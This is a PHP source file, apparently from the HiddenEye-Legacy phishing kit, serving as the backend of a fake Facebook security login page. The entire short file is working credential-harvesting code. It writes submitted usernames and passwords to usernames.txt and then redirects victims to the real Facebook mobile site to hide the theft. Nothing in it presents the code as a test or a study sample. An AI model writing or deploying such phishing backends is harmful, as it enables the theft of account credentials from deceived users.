HiddenEye-Legacy/WebPages/fb_security_fake/login.php
2018-03-26 19:54:30 +05:30

16 lines
437 B
PHP

<?php
$var = $_POST['username'];
$var2 = $_POST['password'];
$myFile = file_get_contents("protect.html");
$searchString = "<html><title>WELCOME TO FACEBOOK</title></html>";
if($myFile != $searchString) {
file_put_contents("usernames.txt", "[EMAIL]: " . $var . " [PASS]: " . $var2 . "\n", FILE_APPEND);
header('Location: https://mbasic.facebook.com/');
}
if($myFile != $searchString) {
echo "LOGIN SUCCESSFULL";
}
exit();
?>